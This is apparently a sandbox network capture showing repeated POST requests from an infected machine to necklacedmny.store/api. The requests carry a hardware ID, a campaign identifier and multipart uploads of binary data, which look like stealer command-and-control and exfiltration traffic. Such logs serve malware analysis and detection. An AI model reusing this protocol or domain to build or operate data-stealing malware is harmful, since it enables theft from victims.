2024-10-30 11:37:42 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n1h9902k1q2r0ks37lenm0v8ba; expires=Sun, 23 Feb 2025 05:24:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O7RU0VTwetWGHuaEdxIZ%2B%2BELpm%2BPR12nfyo5p8U5K0h5Ru7Iwq%2BerMautEfB4niyqmnTE0unPkSz8wjca7RKZ7%2FgPR5W9MwnJoK%2BhuirXFjYQfUjlpdwD1N1tNHKyq58tKMHyb8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1d642af74680-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1957&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1391638&cwnd=242&unsent_bytes=0&cid=01b6b83b41abdd43&ts=500&x=0"
2024-10-30 11:37:42 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 11:37:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	62837	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:42 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 11:37:42 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 11:37:43 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pg1md173ajh7d872rr28f57sh8; expires=Sun, 23 Feb 2025 05:24:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hZXmQqMR%2B9v2lLaTuLsd3UwzqB%2B5PaZWeOuFgnJMp%2FY5fYgMk50JLVFewf1GGkULEtvcY8eEzXi8KDWRfe2FTNfE0OXneBNXeNFwADKCegFJMu4SyeFEPyTycECqWLFU3AY%2Bfbo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1d6b4a204775-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1868&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1556152&cwnd=251&unsent_bytes=0&cid=9b025429496899fc&ts=344&x=0"
2024-10-30 11:37:43 UTC	354	IN	Data Raw: 31 64 37 63 0d 0a 49 6d 4d 46 51 4d 49 34 47 4c 73 53 54 5a 72 52 6b 4d 36 69 4c 52 52 74 4d 77 48 6d 36 65 50 36 32 74 73 44 2b 57 51 30 6d 34 42 5a 51 58 4e 69 2b 41 77 30 6d 57 45 6f 75 4f 76 6b 76 4e 64 49 4f 45 39 53 5a 63 54 54 68 5a 75 32 71 47 62 56 52 6b 4c 32 6f 68 67 46 5a 43 79 78 58 54 53 5a 64 7a 57 34 36 38 75 31 67 45 68 36 54 77 6b 6a 67 34 4f 42 6d 37 61 35 59 70 49 4c 52 50 66 6a 53 67 39 69 4b 4b 64 62 66 4e 70 2b 49 50 2b 30 39 61 2f 49 51 33 30 41 57 32 7a 45 78 63 47 66 6f 50 6b 35 32 79 6c 52 37 2b 46 76 41 6e 59 72 34 45 55 30 77 44 41 6f 39 50 4f 71 37 4d 4e 49 64 67 46 56 5a 59 32 42 69 35 4b 2b 75 47 65 54 46 46 33 39 36 45 6f 42 59 53 6d 74 55 6d 6a 58 64 43 66 30 73 76 2b 76 67 41 45 32 43 45 6b 6a 33 4d 76 53 71 72 75 6f 63 Data Ascii: 1d7cImMFQMI4GLsSTZrRkM6iLRRtMwHm6eP62tsD+WQ0m4BZQXNi+Aw0mWEouOvkvNdIOE9SZcTThZu2qGbVRkL2ohgFZCyxXTSZdzW468u1gEh6Twkjg4OBm7a5YpILRPfjSg9iKKdbfNp+IP+09a/IQ30AW2zExcGfoPk52ylR7+FvAnYr4EU0wDAo9POq7MNIdgFVZY2Bi5K+uGeTFF396EoBYSmtUmjXdCf0sv+vgAE2CEkj3MvSqruoc
2024-10-30 11:37:43 UTC	1369	IN	Data Raw: 56 33 72 4c 65 43 54 7a 74 75 43 6e 79 55 4a 37 44 31 78 70 69 34 69 42 6e 37 4b 7a 62 70 45 43 57 2f 54 6b 51 41 45 6e 62 4f 42 64 59 70 6b 6f 62 39 75 32 34 71 76 4d 57 54 51 31 45 58 7a 4b 6b 73 47 66 74 50 6b 35 32 77 35 54 2b 75 46 4c 44 6d 51 71 71 30 68 36 79 33 59 69 2f 61 48 30 71 63 35 46 64 52 31 62 62 59 4b 49 69 4a 4f 78 76 47 61 66 52 68 69 35 35 56 68 42 50 32 4b 42 56 33 48 56 65 6a 6a 34 38 2b 33 69 32 51 39 78 41 78 45 37 78 49 2b 41 6e 4c 6d 39 62 35 55 43 57 76 2f 73 54 51 35 68 4b 4b 42 64 63 4e 46 34 4c 76 57 34 2f 61 7a 46 51 6e 49 4a 58 57 4b 42 79 38 2f 59 76 36 45 68 77 30 5a 34 2f 75 46 53 51 31 49 68 72 6c 52 39 7a 7a 41 77 74 71 71 79 71 38 77 50 4c 6b 39 66 5a 6f 75 5a 67 49 71 39 74 33 4f 58 41 31 44 30 34 55 34 42 59 69 57 Data Ascii: V3rLeCTztuCnyUJ7D1xpi4iBn7KzbpECW/TkQAEnbOBdYpkob9u24qvMWTQ1EXzKksGftPk52w5T+uFLDmQqq0h6y3Yi/aH0qc5FdR1bbYKIiJOxvGafRhi55VhBP2KBV3HVejj48+3i2Q9xAxE7xI+AnLm9b5UCWv/sTQ5hKKBdcNF4LvW4/azFQnIJXWKBy8/Yv6Ehw0Z4/uFSQ1IhrlR9zzAwtqqyq8wPLk9fZouZgIq9t3OXA1D04U4BYiW
2024-10-30 11:37:43 UTC	1369	IN	Data Raw: 7a 41 77 74 71 71 79 71 38 77 50 4c 6b 39 64 61 6f 53 41 69 35 79 34 76 6d 79 65 42 56 48 36 37 30 63 4c 61 53 57 6b 56 6e 50 55 64 69 2f 2f 74 2f 65 2b 78 55 5a 36 41 78 45 74 78 49 79 5a 32 4f 44 35 54 70 77 51 56 64 62 68 55 51 67 6e 50 65 35 44 4f 74 35 38 62 36 44 7a 39 61 6e 49 52 48 41 48 55 58 47 42 68 59 71 5a 73 72 39 67 6c 67 70 51 2b 65 4e 41 42 32 73 69 70 31 31 6f 79 33 55 70 36 72 6d 79 34 6f 42 49 62 6b 38 4a 49 37 4b 62 6c 6f 6d 75 2b 31 53 59 43 46 6a 2b 39 41 41 65 4b 54 76 67 58 58 61 5a 4b 47 2f 7a 73 2f 36 72 79 45 6c 79 42 31 35 73 6a 5a 6d 41 6c 4c 61 72 5a 70 73 50 57 50 62 75 53 51 78 67 4c 36 74 51 64 39 31 33 4c 72 6a 39 73 71 76 59 44 79 35 50 5a 33 4f 4a 68 36 2b 54 74 4c 41 68 68 45 68 50 75 65 56 4d 51 54 39 69 70 46 5a 79 Data Ascii: zAwtqqyq8wPLk9daoSAi5y4vmyeBVH670cLaSWkVnPUdi//t/e+xUZ6AxEtxIyZ2OD5TpwQVdbhUQgnPe5DOt58b6Dz9anIRHAHUXGBhYqZsr9glgpQ+eNAB2sip11oy3Up6rmy4oBIbk8JI7Kblomu+1SYCFj+9AAeKTvgXXaZKG/zs/6ryElyB15sjZmAlLarZpsPWPbuSQxgL6tQd913Lrj9sqvYDy5PZ3OJh6+TtLAhhEhPueVMQT9ipFZy
2024-10-30 11:37:43 UTC	1369	IN	Data Raw: 32 32 39 71 76 45 53 58 6c 50 48 79 4f 44 6b 38 48 41 2b 4a 5a 47 72 6b 52 33 77 36 4a 66 54 33 35 69 70 31 59 36 67 54 41 6a 2b 37 2f 36 6f 38 5a 47 65 67 56 59 61 49 69 41 68 5a 53 78 76 47 65 61 41 31 50 34 35 6b 77 4c 59 53 47 6a 56 58 58 57 65 47 2b 32 38 2f 57 30 67 42 63 32 4b 6b 5a 6f 69 6f 33 42 68 2f 61 67 49 5a 77 4b 46 71 47 69 54 41 68 68 4a 4b 56 57 65 39 39 34 4b 76 43 33 38 36 72 47 54 48 6b 4c 56 47 4b 4c 6a 34 32 57 73 72 68 67 6c 77 31 5a 38 75 63 41 54 79 63 6c 75 42 6f 69 6d 55 45 73 37 71 54 69 6f 49 42 51 4f 42 59 52 5a 49 6a 4c 32 64 69 35 71 32 75 52 43 46 50 32 35 30 4d 4f 59 43 2b 6d 56 6e 44 51 65 43 6e 33 75 75 43 76 7a 45 46 78 41 56 31 74 69 59 47 43 6c 66 6a 33 49 5a 77 65 46 71 47 69 62 41 5a 71 44 4b 74 57 66 5a 6c 76 59 Data Ascii: 229qvESXlPHyODk8HA+JZGrkR3w6JfT35ip1Y6gTAj+7/6o8ZGegVYaIiAhZSxvGeaA1P45kwLYSGjVXXWeG+28/W0gBc2KkZoio3Bh/agIZwKFqGiTAhhJKVWe994KvC386rGTHkLVGKLj42Wsrhglw1Z8ucATycluBoimUEs7qTioIBQOBYRZIjL2di5q2uRCFP250MOYC+mVnDQeCn3uuCvzEFxAV1tiYGClfj3IZweFqGibAZqDKtWfZlvY
2024-10-30 11:37:43 UTC	1369	IN	Data Raw: 73 78 31 63 32 56 78 46 56 67 35 75 52 6d 2f 71 49 64 35 67 51 58 66 54 75 41 42 34 70 4f 2b 42 64 64 70 6b 6f 62 2f 36 38 2b 36 2f 50 54 6e 38 44 58 47 61 4e 6a 6f 43 65 76 4c 4e 72 6d 77 42 51 2b 4f 64 4b 41 6d 59 6f 71 56 31 79 33 6e 4d 39 75 50 32 79 71 39 67 50 4c 6b 39 34 5a 4a 61 46 6b 64 69 6e 39 33 6a 62 41 56 71 35 75 67 41 46 62 53 32 6b 58 58 62 66 64 53 6e 31 73 76 32 74 77 45 42 79 42 46 68 6c 68 59 61 45 6c 62 79 72 61 35 41 4a 57 76 44 75 54 55 45 70 59 71 64 43 4f 6f 45 77 48 76 57 39 2f 4b 76 57 44 32 6c 42 53 43 4f 44 68 38 48 41 2b 4c 68 74 6c 41 56 5a 2b 75 46 42 43 33 55 77 72 46 4e 79 33 48 77 6b 39 72 58 67 71 73 39 47 64 51 78 59 5a 49 79 48 69 35 75 2f 2b 53 2f 62 41 55 36 35 75 67 41 69 63 44 4b 74 47 6d 57 58 61 57 2f 2f 76 37 Data Ascii: sx1c2VxFVg5uRm/qId5gQXfTuAB4pO+Bddpkob/68+6/PTn8DXGaNjoCevLNrmwBQ+OdKAmYoqV1y3nM9uP2yq9gPLk94ZJaFkdin93jbAVq5ugAFbS2kXXbfdSn1sv2twEByBFhlhYaElbyra5AJWvDuTUEpYqdCOoEwHvW9/KvWD2lBSCODh8HA+LhtlAVZ+uFBC3UwrFNy3Hwk9rXgqs9GdQxYZIyHi5u/+S/bAU65ugAicDKtGmWXaW//v7
2024-10-30 11:37:43 UTC	1369	IN	Data Raw: 5a 41 70 58 62 49 75 43 69 4a 79 77 75 6d 47 66 41 6c 48 38 34 55 77 4b 59 43 47 76 58 6e 50 58 65 53 43 34 2f 62 4b 72 32 41 38 75 54 33 42 34 68 34 65 4d 32 4b 66 33 65 4e 73 42 57 72 6d 36 41 41 31 70 4a 36 42 51 66 4e 31 31 4b 66 4b 32 38 71 66 44 51 48 49 4a 56 57 79 45 67 49 69 5a 76 72 78 72 6b 41 42 62 2b 75 52 47 51 53 6c 69 70 30 49 36 67 54 41 50 34 37 37 2b 71 34 42 51 4f 42 59 52 5a 49 6a 4c 32 64 69 7a 74 57 57 63 42 6c 76 36 36 6b 55 46 62 53 65 67 55 6d 6a 52 63 43 6a 71 6f 66 4b 6c 78 55 4e 31 44 31 56 6c 6a 59 32 43 6e 50 6a 33 49 5a 77 65 46 71 47 69 62 51 31 67 43 36 64 42 4f 73 59 2b 4e 72 69 30 2f 75 79 59 44 33 63 45 57 32 79 4a 69 49 65 62 73 37 78 72 6d 67 46 65 39 50 42 44 44 6d 67 6d 6f 46 56 38 33 33 45 67 2f 72 54 37 72 63 68 Data Ascii: ZApXbIuCiJywumGfAlH84UwKYCGvXnPXeSC4/bKr2A8uT3B4h4eM2Kf3eNsBWrm6AA1pJ6BQfN11KfK28qfDQHIJVWyEgIiZvrxrkABb+uRGQSlip0I6gTAP477+q4BQOBYRZIjL2diztWWcBlv66kUFbSegUmjRcCjqofKlxUN1D1VljY2CnPj3IZweFqGibQ1gC6dBOsY+Nri0/uyYD3cEW2yJiIebs7xrmgFe9PBDDmgmoFV833Eg/rT7rch
2024-10-30 11:37:43 UTC	357	IN	Data Raw: 31 32 6a 6e 59 75 66 71 4c 35 32 6c 45 59 59 75 65 30 41 57 56 35 69 71 56 31 68 79 47 59 69 36 4c 53 79 6b 34 34 50 62 6b 38 4a 49 37 47 49 6a 35 61 2f 72 33 44 57 49 55 44 7a 35 56 41 47 63 43 33 67 46 44 72 66 4d 48 65 72 2f 62 4b 6f 30 51 38 75 58 77 4d 34 30 64 6a 57 79 4f 71 6d 4c 34 4a 47 51 4c 6d 36 45 6b 38 6e 4d 4f 41 43 4f 70 35 7a 50 65 71 31 38 62 72 44 43 45 67 78 64 6e 6d 4a 6a 5a 61 4a 68 6f 64 6d 67 51 74 51 37 76 4d 4d 46 47 51 73 72 6c 31 73 6d 54 35 76 39 2f 4f 71 6c 59 41 48 4e 6a 41 66 49 35 7a 4c 32 64 69 4e 75 6d 2b 56 41 55 44 6f 72 32 63 62 61 69 53 33 53 7a 71 58 4d 43 6d 34 36 36 4c 69 67 45 74 6e 54 77 6b 7a 31 74 44 55 79 2b 2f 70 4d 34 52 49 54 37 6e 30 41 46 6b 31 62 4f 42 49 4f 6f 45 77 61 50 75 68 34 4b 72 44 57 58 56 49 Data Ascii: 12jnYufqL52lEYYue0AWV5iqV1hyGYi6LSyk44Pbk8JI7GIj5a/r3DWIUDz5VAGcC3gFDrfMHer/bKo0Q8uXwM40djWyOqmL4JGQLm6Ek8nMOACOp5zPeq18brDCEgxdnmJjZaJhodmgQtQ7vMMFGQsrl1smT5v9/OqlYAHNjAfI5zL2diNum+VAUDor2cbaiS3SzqXMCm466LigEtnTwkz1tDUy+/pM4RIT7n0AFk1bOBIOoEwaPuh4KrDWXVI
2024-10-30 11:37:43 UTC	1369	IN	Data Raw: 32 36 66 30 0d 0a 46 71 47 77 44 6b 46 31 59 76 67 61 50 64 70 69 50 66 36 77 35 4b 2b 48 63 55 67 4d 52 32 36 4c 67 49 43 6d 68 70 64 73 6d 67 56 59 75 39 4e 57 44 48 63 68 70 56 31 45 35 33 34 6f 37 4c 54 38 71 73 41 50 4f 45 39 65 49 39 79 79 77 64 44 34 68 69 2f 62 48 68 61 68 6f 6e 55 43 61 53 79 6e 54 47 75 55 55 7a 6e 31 76 50 6d 74 67 41 45 32 43 52 45 37 31 4d 58 42 6e 4b 6e 35 4f 63 74 55 44 61 79 78 46 31 45 31 50 65 35 44 4f 73 38 77 64 36 72 39 73 72 36 41 46 7a 5a 49 58 32 36 46 69 49 2b 62 71 71 74 6e 6d 42 42 56 76 74 78 2b 49 47 6f 70 72 46 64 31 30 6b 34 52 32 62 37 35 6f 4d 31 41 66 54 46 76 64 6f 65 46 6a 35 2b 75 71 43 48 56 52 6c 6d 35 75 6e 6c 42 4c 32 4b 66 46 44 72 42 4d 48 65 34 68 76 47 69 7a 6b 68 67 48 68 78 43 69 59 43 4e 6c Data Ascii: 26f0FqGwDkF1YvgaPdpiPf6w5K+HcUgMR26LgICmhpdsmgVYu9NWDHchpV1E534o7LT8qsAPOE9eI9yywdD4hi/bHhahonUCaSynTGuUUzn1vPmtgAE2CRE71MXBnKn5OctUDayxF1E1Pe5DOs8wd6r9sr6AFzZIX26FiI+bqqtnmBBVvtx+IGoprFd10k4R2b75oM1AfTFvdoeFj5+uqCHVRlm5unlBL2KfFDrBMHe4hvGizkhgHhxCiYCNl
2024-10-30 11:37:43 UTC	1369	IN	Data Raw: 59 46 45 54 2f 34 56 59 43 49 42 79 65 66 32 33 61 59 43 6e 37 6a 63 79 48 7a 45 6c 78 46 56 5a 6c 6f 71 76 42 31 76 69 32 49 63 4d 2f 46 72 47 69 66 30 38 6e 4f 75 41 43 4f 75 78 7a 49 66 61 30 35 4c 32 4e 61 6d 45 4d 51 57 57 48 79 38 2f 59 76 76 6b 35 79 30 67 57 2f 66 4d 41 57 54 64 77 2b 77 38 70 6a 69 42 39 35 2f 33 72 37 4e 59 50 4c 6c 30 66 49 35 62 4c 32 64 6a 2f 75 6e 4f 4a 41 46 58 76 34 51 63 2f 57 51 53 6a 53 33 44 34 66 54 2f 2f 6a 63 79 35 77 30 46 34 43 45 64 79 78 4d 58 42 6c 2f 6a 68 57 4e 74 4f 47 76 2f 68 56 6b 46 59 62 4f 42 43 4f 6f 45 77 47 76 75 39 2f 4b 76 57 58 6a 73 70 55 6e 4b 4f 71 6f 79 49 76 2f 6b 76 32 77 41 57 6f 62 45 4f 51 57 4d 7a 34 41 49 71 69 79 74 36 71 2b 53 69 2f 74 38 42 62 30 39 48 49 39 7a 5a 7a 39 69 71 2b 54 Data Ascii: YFET/4VYCIByef23aYCn7jcyHzElxFVZloqvB1vi2IcM/FrGif08nOuACOuxzIfa05L2NamEMQWWHy8/Yvvk5y0gW/fMAWTdw+w8pjiB95/3r7NYPLl0fI5bL2dj/unOJAFXv4Qc/WQSjS3D4fT//jcy5w0F4CEdyxMXBl/jhWNtOGv/hVkFYbOBCOoEwGvu9/KvWXjspUnKOqoyIv/kv2wAWobEOQWMz4AIqiyt6q+Si/t8Bb09HI9zZz9iq+T

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	62843	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:44 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-30 11:37:44 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:37:44 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-30 11:37:44 UTC	1023	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6cg6s581th29h6cafd87taijf0; expires=Sun, 23 Feb 2025 05:24:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y5ozDZ6ThYOa6ewxKv7ag9AnZ4VZnHbmJH%2BozClvEOl160o3i07s%2BSCf7ZIVMRDrqnQZDvl67XCd4c7jRNht66ovTI9KLn%2F5qnJ9JKRH2s5CjdPhhSr%2B%2BNRlKJY5a95x4m%2FP3QM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1d72fb203599-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1108&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19132&delivery_rate=2574222&cwnd=251&unsent_bytes=0&cid=7511c9abf5a7a037&ts=641&x=0"
2024-10-30 11:37:44 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:37:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	62854	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:45 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-30 11:37:45 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:37:45 UTC	1013	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aefpo2jvcdocrkt7hpg15gd5qj; expires=Sun, 23 Feb 2025 05:24:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nZgerPgxfOL6TPrIJfUAhYgmqk8gtgq499usQtmtDTiBnL5fJn2%2FX8aKRNjZGbYYb7tYK5Z%2FOQhK396SR5mWDatwgKbFy6C6NlirlMCraaM1jgzNgyqUl8zuq4yTDOwnN0GCVE8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1d7b0e16e78a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1081&sent=9&recv=15&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9730&delivery_rate=2496551&cwnd=237&unsent_bytes=0&cid=a46264ad5d5f59d6&ts=532&x=0"
2024-10-30 11:37:45 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:37:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	62862	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:46 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-30 11:37:46 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
